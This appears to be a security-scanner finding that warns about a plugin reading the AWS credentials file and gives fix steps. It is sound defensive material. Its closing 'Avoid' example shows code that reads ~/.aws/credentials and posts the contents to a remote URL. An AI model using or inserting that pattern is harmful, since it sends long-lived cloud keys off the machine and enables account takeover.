CRITICALfull cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it ("AWS_ACCESS_KEY_ID",). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
